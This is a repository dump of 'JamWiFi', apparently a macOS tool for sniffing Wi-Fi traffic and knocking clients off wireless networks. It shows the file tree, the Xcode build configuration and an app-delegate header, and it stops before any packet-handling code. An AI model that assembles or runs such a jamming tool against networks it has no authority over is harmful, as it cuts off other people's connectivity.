├── JamWiFi.xcodeproj └── project.pbxproj ├── JamWiFi ├── ANAppDelegate.h ├── ANAppDelegate.m ├── ANClientKiller.h ├── ANClientKiller.m ├── ANListView.h ├── ANListView.m ├── ANTrafficGatherer.h ├── ANTrafficGatherer.m ├── CarbonAppProcess.h ├── CarbonAppProcess.m ├── JamWiFi-Info.plist ├── JamWiFi-Prefix.pch ├── en.lproj │ ├── Credits.rtf │ ├── InfoPlist.strings │ └── MainMenu.xib ├── main.m └── radio.icns ├── README.md └── Wireless ├── ANClient.h ├── ANClient.m ├── ANWiFiSniffer.h ├── ANWiFiSniffer.m ├── Beacons ├── ANBeaconFrame.h ├── ANBeaconFrame.m ├── ANBeaconPart.h └── ANBeaconPart.m ├── MACParser.h ├── MACParser.m └── Tapping ├── AN80211Packet.h ├── AN80211Packet.m ├── ANInterface.h ├── ANInterface.m ├── crc.c ├── crc.h └── packets.h /JamWiFi.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 46; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | FA175ED615C19A9A006B274D /* MACParser.m in Sources */ = {isa = PBXBuildFile; fileRef = FA175ED515C19A9A006B274D /* MACParser.m */; }; 11 | FA42D2E015C0BA0C0021527A /* ANClientKiller.m in Sources */ = {isa = PBXBuildFile; fileRef = FA42D2DF15C0BA0C0021527A /* ANClientKiller.m */; }; 12 | FA8D07F915C3022500B8EDC4 /* CarbonAppProcess.m in Sources */ = {isa = PBXBuildFile; fileRef = FA8D07F815C3022500B8EDC4 /* CarbonAppProcess.m */; }; 13 | FA8D07FC15C3024200B8EDC4 /* radio.icns in Resources */ = {isa = PBXBuildFile; fileRef = FA8D07FB15C3024200B8EDC4 /* radio.icns */; }; 14 | FAB94BCC15C0557A0031197A /* Cocoa.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = FAB94BCB15C0557A0031197A /* Cocoa.framework */; }; 15 | FAB94BD615C0557A0031197A /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = FAB94BD415C0557A0031197A /* InfoPlist.strings */; }; 16 | FAB94BD815C0557A0031197A /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94BD715C0557A0031197A /* main.m */; }; 17 | FAB94BDC15C0557A0031197A /* Credits.rtf in Resources */ = {isa = PBXBuildFile; fileRef = FAB94BDA15C0557A0031197A /* Credits.rtf */; }; 18 | FAB94BDF15C0557A0031197A /* ANAppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94BDE15C0557A0031197A /* ANAppDelegate.m */; }; 19 | FAB94BE215C0557A0031197A /* MainMenu.xib in Resources */ = {isa = PBXBuildFile; fileRef = FAB94BE015C0557A0031197A /* MainMenu.xib */; }; 20 | FAB94BFB15C055BE0031197A /* ANBeaconFrame.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94BF315C055BE0031197A /* ANBeaconFrame.m */; }; 21 | FAB94BFC15C055BE0031197A /* ANBeaconPart.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94BF515C055BE0031197A /* ANBeaconPart.m */; }; 22 | FAB94C0015C055E10031197A /* ANWiFiSniffer.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94BFF15C055E10031197A /* ANWiFiSniffer.m */; }; 23 | FAB94C0715C05BA00031197A /* ANListView.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94C0615C05BA00031197A /* ANListView.m */; }; 24 | FAB94C0915C05BB10031197A /* CoreWLAN.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = FAB94C0815C05BB10031197A /* CoreWLAN.framework */; }; 25 | FAB94C0B15C05BB50031197A /* libpcap.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = FAB94C0A15C05BB50031197A /* libpcap.dylib */; }; 26 | FAB94C2615C06C970031197A /* ServiceManagement.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = FAB94C2515C06C970031197A /* ServiceManagement.framework */; }; 27 | FAB94C2815C06C9C0031197A /* Security.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = FAB94C2715C06C9C0031197A /* Security.framework */; }; 28 | FAB94C4E15C07ACE0031197A /* ANTrafficGatherer.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94C4D15C07ACE0031197A /* ANTrafficGatherer.m */; }; 29 | FAB94C5115C07BF60031197A /* ANClient.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94C5015C07BF60031197A /* ANClient.m */; }; 30 | FAB94C5A15C07D610031197A /* AN80211Packet.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94C5415C07D610031197A /* AN80211Packet.m */; }; 31 | FAB94C5B15C07D610031197A /* ANInterface.m in Sources */ = {isa = PBXBuildFile; fileRef = FAB94C5615C07D610031197A /* ANInterface.m */; }; 32 | FAB94C5C15C07D610031197A /* crc.c in Sources */ = {isa = PBXBuildFile; fileRef = FAB94C5715C07D610031197A /* crc.c */; }; 33 | /* End PBXBuildFile section */ 34 | 35 | /* Begin PBXCopyFilesBuildPhase section */ 36 | FAB94C2315C06A990031197A /* CopyFiles */ = { 37 | isa = PBXCopyFilesBuildPhase; 38 | buildActionMask = 2147483647; 39 | dstPath = Contents/Library/LaunchServices; 40 | dstSubfolderSpec = 1; 41 | files = ( 42 | ); 43 | runOnlyForDeploymentPostprocessing = 0; 44 | }; 45 | /* End PBXCopyFilesBuildPhase section */ 46 | 47 | /* Begin PBXFileReference section */ 48 | FA175ED415C19A9A006B274D /* MACParser.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MACParser.h; sourceTree = ""; }; 49 | FA175ED515C19A9A006B274D /* MACParser.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MACParser.m; sourceTree = ""; }; 50 | FA42D2DE15C0BA0C0021527A /* ANClientKiller.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANClientKiller.h; sourceTree = ""; }; 51 | FA42D2DF15C0BA0C0021527A /* ANClientKiller.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANClientKiller.m; sourceTree = ""; }; 52 | FA8D07F715C3022500B8EDC4 /* CarbonAppProcess.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = CarbonAppProcess.h; sourceTree = ""; }; 53 | FA8D07F815C3022500B8EDC4 /* CarbonAppProcess.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = CarbonAppProcess.m; sourceTree = ""; }; 54 | FA8D07FB15C3024200B8EDC4 /* radio.icns */ = {isa = PBXFileReference; lastKnownFileType = image.icns; path = radio.icns; sourceTree = ""; }; 55 | FAB94BC715C0557A0031197A /* JamWiFi.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = JamWiFi.app; sourceTree = BUILT_PRODUCTS_DIR; }; 56 | FAB94BCB15C0557A0031197A /* Cocoa.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Cocoa.framework; path = System/Library/Frameworks/Cocoa.framework; sourceTree = SDKROOT; }; 57 | FAB94BCE15C0557A0031197A /* AppKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AppKit.framework; path = System/Library/Frameworks/AppKit.framework; sourceTree = SDKROOT; }; 58 | FAB94BCF15C0557A0031197A /* CoreData.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreData.framework; path = System/Library/Frameworks/CoreData.framework; sourceTree = SDKROOT; }; 59 | FAB94BD015C0557A0031197A /* Foundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Foundation.framework; path = System/Library/Frameworks/Foundation.framework; sourceTree = SDKROOT; }; 60 | FAB94BD315C0557A0031197A /* JamWiFi-Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = "JamWiFi-Info.plist"; sourceTree = ""; }; 61 | FAB94BD515C0557A0031197A /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/InfoPlist.strings; sourceTree = ""; }; 62 | FAB94BD715C0557A0031197A /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 63 | FAB94BD915C0557A0031197A /* JamWiFi-Prefix.pch */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "JamWiFi-Prefix.pch"; sourceTree = ""; }; 64 | FAB94BDB15C0557A0031197A /* en */ = {isa = PBXFileReference; lastKnownFileType = text.rtf; name = en; path = en.lproj/Credits.rtf; sourceTree = ""; }; 65 | FAB94BDD15C0557A0031197A /* ANAppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ANAppDelegate.h; sourceTree = ""; }; 66 | FAB94BDE15C0557A0031197A /* ANAppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ANAppDelegate.m; sourceTree = ""; }; 67 | FAB94BE115C0557A0031197A /* en */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = en; path = en.lproj/MainMenu.xib; sourceTree = ""; }; 68 | FAB94BF215C055BE0031197A /* ANBeaconFrame.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANBeaconFrame.h; sourceTree = ""; }; 69 | FAB94BF315C055BE0031197A /* ANBeaconFrame.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANBeaconFrame.m; sourceTree = ""; }; 70 | FAB94BF415C055BE0031197A /* ANBeaconPart.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANBeaconPart.h; sourceTree = ""; }; 71 | FAB94BF515C055BE0031197A /* ANBeaconPart.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANBeaconPart.m; sourceTree = ""; }; 72 | FAB94BFE15C055E10031197A /* ANWiFiSniffer.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANWiFiSniffer.h; sourceTree = ""; }; 73 | FAB94BFF15C055E10031197A /* ANWiFiSniffer.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANWiFiSniffer.m; sourceTree = ""; }; 74 | FAB94C0515C05BA00031197A /* ANListView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANListView.h; sourceTree = ""; }; 75 | FAB94C0615C05BA00031197A /* ANListView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANListView.m; sourceTree = ""; }; 76 | FAB94C0815C05BB10031197A /* CoreWLAN.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreWLAN.framework; path = System/Library/Frameworks/CoreWLAN.framework; sourceTree = SDKROOT; }; 77 | FAB94C0A15C05BB50031197A /* libpcap.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libpcap.dylib; path = usr/lib/libpcap.dylib; sourceTree = SDKROOT; }; 78 | FAB94C1715C06A910031197A /* Foundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Foundation.framework; path = System/Library/Frameworks/Foundation.framework; sourceTree = SDKROOT; }; 79 | FAB94C2515C06C970031197A /* ServiceManagement.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = ServiceManagement.framework; path = System/Library/Frameworks/ServiceManagement.framework; sourceTree = SDKROOT; }; 80 | FAB94C2715C06C9C0031197A /* Security.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Security.framework; path = System/Library/Frameworks/Security.framework; sourceTree = SDKROOT; }; 81 | FAB94C4C15C07ACE0031197A /* ANTrafficGatherer.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANTrafficGatherer.h; sourceTree = ""; }; 82 | FAB94C4D15C07ACE0031197A /* ANTrafficGatherer.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANTrafficGatherer.m; sourceTree = ""; }; 83 | FAB94C4F15C07BF60031197A /* ANClient.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = ANClient.h; path = ../Wireless/ANClient.h; sourceTree = ""; }; 84 | FAB94C5015C07BF60031197A /* ANClient.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = ANClient.m; path = ../Wireless/ANClient.m; sourceTree = ""; }; 85 | FAB94C5315C07D610031197A /* AN80211Packet.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AN80211Packet.h; sourceTree = ""; }; 86 | FAB94C5415C07D610031197A /* AN80211Packet.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = AN80211Packet.m; sourceTree = ""; }; 87 | FAB94C5515C07D610031197A /* ANInterface.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANInterface.h; sourceTree = ""; }; 88 | FAB94C5615C07D610031197A /* ANInterface.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ANInterface.m; sourceTree = ""; }; 89 | FAB94C5715C07D610031197A /* crc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = crc.c; sourceTree = ""; }; 90 | FAB94C5815C07D610031197A /* crc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = crc.h; sourceTree = ""; }; 91 | FAB94C5915C07D610031197A /* packets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = packets.h; sourceTree = ""; }; 92 | /* End PBXFileReference section */ 93 | 94 | /* Begin PBXFrameworksBuildPhase section */ 95 | FAB94BC415C0557A0031197A /* Frameworks */ = { 96 | isa = PBXFrameworksBuildPhase; 97 | buildActionMask = 2147483647; 98 | files = ( 99 | FAB94C2815C06C9C0031197A /* Security.framework in Frameworks */, 100 | FAB94C2615C06C970031197A /* ServiceManagement.framework in Frameworks */, 101 | FAB94C0B15C05BB50031197A /* libpcap.dylib in Frameworks */, 102 | FAB94C0915C05BB10031197A /* CoreWLAN.framework in Frameworks */, 103 | FAB94BCC15C0557A0031197A /* Cocoa.framework in Frameworks */, 104 | ); 105 | runOnlyForDeploymentPostprocessing = 0; 106 | }; 107 | /* End PBXFrameworksBuildPhase section */ 108 | 109 | /* Begin PBXGroup section */ 110 | FAB94BBC15C0557A0031197A = { 111 | isa = PBXGroup; 112 | children = ( 113 | FAB94BEC15C055BE0031197A /* Wireless */, 114 | FAB94BD115C0557A0031197A /* JamWiFi */, 115 | FAB94BCA15C0557A0031197A /* Frameworks */, 116 | FAB94BC815C0557A0031197A /* Products */, 117 | ); 118 | sourceTree = ""; 119 | }; 120 | FAB94BC815C0557A0031197A /* Products */ = { 121 | isa = PBXGroup; 122 | children = ( 123 | FAB94BC715C0557A0031197A /* JamWiFi.app */, 124 | ); 125 | name = Products; 126 | sourceTree = ""; 127 | }; 128 | FAB94BCA15C0557A0031197A /* Frameworks */ = { 129 | isa = PBXGroup; 130 | children = ( 131 | FAB94C0A15C05BB50031197A /* libpcap.dylib */, 132 | FAB94C2715C06C9C0031197A /* Security.framework */, 133 | FAB94C2515C06C970031197A /* ServiceManagement.framework */, 134 | FAB94C0815C05BB10031197A /* CoreWLAN.framework */, 135 | FAB94BCB15C0557A0031197A /* Cocoa.framework */, 136 | FAB94C1715C06A910031197A /* Foundation.framework */, 137 | FAB94BCD15C0557A0031197A /* Other Frameworks */, 138 | ); 139 | name = Frameworks; 140 | sourceTree = ""; 141 | }; 142 | FAB94BCD15C0557A0031197A /* Other Frameworks */ = { 143 | isa = PBXGroup; 144 | children = ( 145 | FAB94BCE15C0557A0031197A /* AppKit.framework */, 146 | FAB94BCF15C0557A0031197A /* CoreData.framework */, 147 | FAB94BD015C0557A0031197A /* Foundation.framework */, 148 | ); 149 | name = "Other Frameworks"; 150 | sourceTree = ""; 151 | }; 152 | FAB94BD115C0557A0031197A /* JamWiFi */ = { 153 | isa = PBXGroup; 154 | children = ( 155 | FA8D07F715C3022500B8EDC4 /* CarbonAppProcess.h */, 156 | FA8D07F815C3022500B8EDC4 /* CarbonAppProcess.m */, 157 | FAB94BDD15C0557A0031197A /* ANAppDelegate.h */, 158 | FAB94BDE15C0557A0031197A /* ANAppDelegate.m */, 159 | FAB94C0515C05BA00031197A /* ANListView.h */, 160 | FAB94C0615C05BA00031197A /* ANListView.m */, 161 | FAB94C4C15C07ACE0031197A /* ANTrafficGatherer.h */, 162 | FAB94C4D15C07ACE0031197A /* ANTrafficGatherer.m */, 163 | FA42D2DE15C0BA0C0021527A /* ANClientKiller.h */, 164 | FA42D2DF15C0BA0C0021527A /* ANClientKiller.m */, 165 | FAB94C4F15C07BF60031197A /* ANClient.h */, 166 | FAB94C5015C07BF60031197A /* ANClient.m */, 167 | FAB94BE015C0557A0031197A /* MainMenu.xib */, 168 | FAB94BD215C0557A0031197A /* Supporting Files */, 169 | ); 170 | path = JamWiFi; 171 | sourceTree = ""; 172 | }; 173 | FAB94BD215C0557A0031197A /* Supporting Files */ = { 174 | isa = PBXGroup; 175 | children = ( 176 | FA8D07FB15C3024200B8EDC4 /* radio.icns */, 177 | FAB94BD315C0557A0031197A /* JamWiFi-Info.plist */, 178 | FAB94BD415C0557A0031197A /* InfoPlist.strings */, 179 | FAB94BD715C0557A0031197A /* main.m */, 180 | FAB94BD915C0557A0031197A /* JamWiFi-Prefix.pch */, 181 | FAB94BDA15C0557A0031197A /* Credits.rtf */, 182 | ); 183 | name = "Supporting Files"; 184 | sourceTree = ""; 185 | }; 186 | FAB94BEC15C055BE0031197A /* Wireless */ = { 187 | isa = PBXGroup; 188 | children = ( 189 | FAB94BF115C055BE0031197A /* Beacons */, 190 | FAB94C5215C07D610031197A /* Tapping */, 191 | FAB94BFE15C055E10031197A /* ANWiFiSniffer.h */, 192 | FAB94BFF15C055E10031197A /* ANWiFiSniffer.m */, 193 | FA175ED415C19A9A006B274D /* MACParser.h */, 194 | FA175ED515C19A9A006B274D /* MACParser.m */, 195 | ); 196 | path = Wireless; 197 | sourceTree = ""; 198 | }; 199 | FAB94BF115C055BE0031197A /* Beacons */ = { 200 | isa = PBXGroup; 201 | children = ( 202 | FAB94BF215C055BE0031197A /* ANBeaconFrame.h */, 203 | FAB94BF315C055BE0031197A /* ANBeaconFrame.m */, 204 | FAB94BF415C055BE0031197A /* ANBeaconPart.h */, 205 | FAB94BF515C055BE0031197A /* ANBeaconPart.m */, 206 | ); 207 | path = Beacons; 208 | sourceTree = ""; 209 | }; 210 | FAB94C5215C07D610031197A /* Tapping */ = { 211 | isa = PBXGroup; 212 | children = ( 213 | FAB94C5315C07D610031197A /* AN80211Packet.h */, 214 | FAB94C5415C07D610031197A /* AN80211Packet.m */, 215 | FAB94C5515C07D610031197A /* ANInterface.h */, 216 | FAB94C5615C07D610031197A /* ANInterface.m */, 217 | FAB94C5715C07D610031197A /* crc.c */, 218 | FAB94C5815C07D610031197A /* crc.h */, 219 | FAB94C5915C07D610031197A /* packets.h */, 220 | ); 221 | path = Tapping; 222 | sourceTree = ""; 223 | }; 224 | /* End PBXGroup section */ 225 | 226 | /* Begin PBXNativeTarget section */ 227 | FAB94BC615C0557A0031197A /* JamWiFi */ = { 228 | isa = PBXNativeTarget; 229 | buildConfigurationList = FAB94BE515C0557A0031197A /* Build configuration list for PBXNativeTarget "JamWiFi" */; 230 | buildPhases = ( 231 | FAB94BC315C0557A0031197A /* Sources */, 232 | FAB94BC415C0557A0031197A /* Frameworks */, 233 | FAB94BC515C0557A0031197A /* Resources */, 234 | FAB94C2315C06A990031197A /* CopyFiles */, 235 | ); 236 | buildRules = ( 237 | ); 238 | dependencies = ( 239 | ); 240 | name = JamWiFi; 241 | productName = JamWiFi; 242 | productReference = FAB94BC715C0557A0031197A /* JamWiFi.app */; 243 | productType = "com.apple.product-type.application"; 244 | }; 245 | /* End PBXNativeTarget section */ 246 | 247 | /* Begin PBXProject section */ 248 | FAB94BBE15C0557A0031197A /* Project object */ = { 249 | isa = PBXProject; 250 | attributes = { 251 | CLASSPREFIX = AN; 252 | LastUpgradeCheck = 0430; 253 | }; 254 | buildConfigurationList = FAB94BC115C0557A0031197A /* Build configuration list for PBXProject "JamWiFi" */; 255 | compatibilityVersion = "Xcode 3.2"; 256 | developmentRegion = English; 257 | hasScannedForEncodings = 0; 258 | knownRegions = ( 259 | en, 260 | ); 261 | mainGroup = FAB94BBC15C0557A0031197A; 262 | productRefGroup = FAB94BC815C0557A0031197A /* Products */; 263 | projectDirPath = ""; 264 | projectRoot = ""; 265 | targets = ( 266 | FAB94BC615C0557A0031197A /* JamWiFi */, 267 | ); 268 | }; 269 | /* End PBXProject section */ 270 | 271 | /* Begin PBXResourcesBuildPhase section */ 272 | FAB94BC515C0557A0031197A /* Resources */ = { 273 | isa = PBXResourcesBuildPhase; 274 | buildActionMask = 2147483647; 275 | files = ( 276 | FAB94BD615C0557A0031197A /* InfoPlist.strings in Resources */, 277 | FAB94BDC15C0557A0031197A /* Credits.rtf in Resources */, 278 | FAB94BE215C0557A0031197A /* MainMenu.xib in Resources */, 279 | FA8D07FC15C3024200B8EDC4 /* radio.icns in Resources */, 280 | ); 281 | runOnlyForDeploymentPostprocessing = 0; 282 | }; 283 | /* End PBXResourcesBuildPhase section */ 284 | 285 | /* Begin PBXSourcesBuildPhase section */ 286 | FAB94BC315C0557A0031197A /* Sources */ = { 287 | isa = PBXSourcesBuildPhase; 288 | buildActionMask = 2147483647; 289 | files = ( 290 | FAB94BD815C0557A0031197A /* main.m in Sources */, 291 | FAB94BDF15C0557A0031197A /* ANAppDelegate.m in Sources */, 292 | FAB94BFB15C055BE0031197A /* ANBeaconFrame.m in Sources */, 293 | FAB94BFC15C055BE0031197A /* ANBeaconPart.m in Sources */, 294 | FAB94C0015C055E10031197A /* ANWiFiSniffer.m in Sources */, 295 | FAB94C0715C05BA00031197A /* ANListView.m in Sources */, 296 | FAB94C4E15C07ACE0031197A /* ANTrafficGatherer.m in Sources */, 297 | FAB94C5115C07BF60031197A /* ANClient.m in Sources */, 298 | FAB94C5A15C07D610031197A /* AN80211Packet.m in Sources */, 299 | FAB94C5B15C07D610031197A /* ANInterface.m in Sources */, 300 | FAB94C5C15C07D610031197A /* crc.c in Sources */, 301 | FA42D2E015C0BA0C0021527A /* ANClientKiller.m in Sources */, 302 | FA175ED615C19A9A006B274D /* MACParser.m in Sources */, 303 | FA8D07F915C3022500B8EDC4 /* CarbonAppProcess.m in Sources */, 304 | ); 305 | runOnlyForDeploymentPostprocessing = 0; 306 | }; 307 | /* End PBXSourcesBuildPhase section */ 308 | 309 | /* Begin PBXVariantGroup section */ 310 | FAB94BD415C0557A0031197A /* InfoPlist.strings */ = { 311 | isa = PBXVariantGroup; 312 | children = ( 313 | FAB94BD515C0557A0031197A /* en */, 314 | ); 315 | name = InfoPlist.strings; 316 | sourceTree = ""; 317 | }; 318 | FAB94BDA15C0557A0031197A /* Credits.rtf */ = { 319 | isa = PBXVariantGroup; 320 | children = ( 321 | FAB94BDB15C0557A0031197A /* en */, 322 | ); 323 | name = Credits.rtf; 324 | sourceTree = ""; 325 | }; 326 | FAB94BE015C0557A0031197A /* MainMenu.xib */ = { 327 | isa = PBXVariantGroup; 328 | children = ( 329 | FAB94BE115C0557A0031197A /* en */, 330 | ); 331 | name = MainMenu.xib; 332 | sourceTree = ""; 333 | }; 334 | /* End PBXVariantGroup section */ 335 | 336 | /* Begin XCBuildConfiguration section */ 337 | FAB94BE315C0557A0031197A /* Debug */ = { 338 | isa = XCBuildConfiguration; 339 | buildSettings = { 340 | ALWAYS_SEARCH_USER_PATHS = NO; 341 | ARCHS = "$(ARCHS_STANDARD_64_BIT)"; 342 | CLANG_ENABLE_OBJC_ARC = YES; 343 | CODE_SIGN_IDENTITY = ""; 344 | COPY_PHASE_STRIP = NO; 345 | GCC_C_LANGUAGE_STANDARD = gnu99; 346 | GCC_DYNAMIC_NO_PIC = NO; 347 | GCC_ENABLE_OBJC_EXCEPTIONS = YES; 348 | GCC_OPTIMIZATION_LEVEL = 0; 349 | GCC_PREPROCESSOR_DEFINITIONS = ( 350 | "DEBUG=1", 351 | "$(inherited)", 352 | ); 353 | GCC_SYMBOLS_PRIVATE_EXTERN = NO; 354 | GCC_VERSION = com.apple.compilers.llvm.clang.1_0; 355 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 356 | GCC_WARN_ABOUT_RETURN_TYPE = YES; 357 | GCC_WARN_UNINITIALIZED_AUTOS = YES; 358 | GCC_WARN_UNUSED_VARIABLE = YES; 359 | MACOSX_DEPLOYMENT_TARGET = 10.7; 360 | ONLY_ACTIVE_ARCH = YES; 361 | SDKROOT = macosx; 362 | }; 363 | name = Debug; 364 | }; 365 | FAB94BE415C0557A0031197A /* Release */ = { 366 | isa = XCBuildConfiguration; 367 | buildSettings = { 368 | ALWAYS_SEARCH_USER_PATHS = NO; 369 | ARCHS = "$(ARCHS_STANDARD_64_BIT)"; 370 | CLANG_ENABLE_OBJC_ARC = YES; 371 | CODE_SIGN_IDENTITY = ""; 372 | COPY_PHASE_STRIP = YES; 373 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 374 | GCC_C_LANGUAGE_STANDARD = gnu99; 375 | GCC_ENABLE_OBJC_EXCEPTIONS = YES; 376 | GCC_VERSION = com.apple.compilers.llvm.clang.1_0; 377 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 378 | GCC_WARN_ABOUT_RETURN_TYPE = YES; 379 | GCC_WARN_UNINITIALIZED_AUTOS = YES; 380 | GCC_WARN_UNUSED_VARIABLE = YES; 381 | MACOSX_DEPLOYMENT_TARGET = 10.7; 382 | SDKROOT = macosx; 383 | }; 384 | name = Release; 385 | }; 386 | FAB94BE615C0557A0031197A /* Debug */ = { 387 | isa = XCBuildConfiguration; 388 | buildSettings = { 389 | CODE_SIGN_IDENTITY = ""; 390 | GCC_PRECOMPILE_PREFIX_HEADER = YES; 391 | GCC_PREFIX_HEADER = "JamWiFi/JamWiFi-Prefix.pch"; 392 | INFOPLIST_FILE = "JamWiFi/JamWiFi-Info.plist"; 393 | MACOSX_DEPLOYMENT_TARGET = 10.7; 394 | PRODUCT_NAME = "$(TARGET_NAME)"; 395 | SDKROOT = macosx; 396 | WRAPPER_EXTENSION = app; 397 | }; 398 | name = Debug; 399 | }; 400 | FAB94BE715C0557A0031197A /* Release */ = { 401 | isa = XCBuildConfiguration; 402 | buildSettings = { 403 | CODE_SIGN_IDENTITY = ""; 404 | GCC_PRECOMPILE_PREFIX_HEADER = YES; 405 | GCC_PREFIX_HEADER = "JamWiFi/JamWiFi-Prefix.pch"; 406 | INFOPLIST_FILE = "JamWiFi/JamWiFi-Info.plist"; 407 | MACOSX_DEPLOYMENT_TARGET = 10.7; 408 | PRODUCT_NAME = "$(TARGET_NAME)"; 409 | SDKROOT = macosx; 410 | WRAPPER_EXTENSION = app; 411 | }; 412 | name = Release; 413 | }; 414 | /* End XCBuildConfiguration section */ 415 | 416 | /* Begin XCConfigurationList section */ 417 | FAB94BC115C0557A0031197A /* Build configuration list for PBXProject "JamWiFi" */ = { 418 | isa = XCConfigurationList; 419 | buildConfigurations = ( 420 | FAB94BE315C0557A0031197A /* Debug */, 421 | FAB94BE415C0557A0031197A /* Release */, 422 | ); 423 | defaultConfigurationIsVisible = 0; 424 | defaultConfigurationName = Release; 425 | }; 426 | FAB94BE515C0557A0031197A /* Build configuration list for PBXNativeTarget "JamWiFi" */ = { 427 | isa = XCConfigurationList; 428 | buildConfigurations = ( 429 | FAB94BE615C0557A0031197A /* Debug */, 430 | FAB94BE715C0557A0031197A /* Release */, 431 | ); 432 | defaultConfigurationIsVisible = 0; 433 | defaultConfigurationName = Release; 434 | }; 435 | /* End XCConfigurationList section */ 436 | }; 437 | rootObject = FAB94BBE15C0557A0031197A /* Project object */; 438 | } 439 | -------------------------------------------------------------------------------- /JamWiFi/ANAppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANAppDelegate.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "CarbonAppProcess.h" 11 | 12 | typedef enum { 13 | ANViewSlideDirectionForward, 14 | ANViewSlideDirectionBackward 15 | } ANViewSlideDirection; 16 | 17 | @class ANListView; 18 | 19 | @interface ANAppDelegate : NSObject { 20 | NSView * activeView; 21 | NSView * nextView; 22 | BOOL animating; 23 | ANListView * networkList; 24 | } 25 | 26 | @property (assign) IBOutlet NSWindow * window; 27 | 28 | - (void)pushView:(NSView *)view direction:(ANViewSlideDirection)direction; 29 | - (void)animationComplete; 30 | - (void)showNetworkList; 31 | 32 | @end 33 | -------------------------------------------------------------------------------- /JamWiFi/ANAppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANAppDelegate.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANAppDelegate.h" 10 | #import "ANListView.h" 11 | 12 | @implementation ANAppDelegate 13 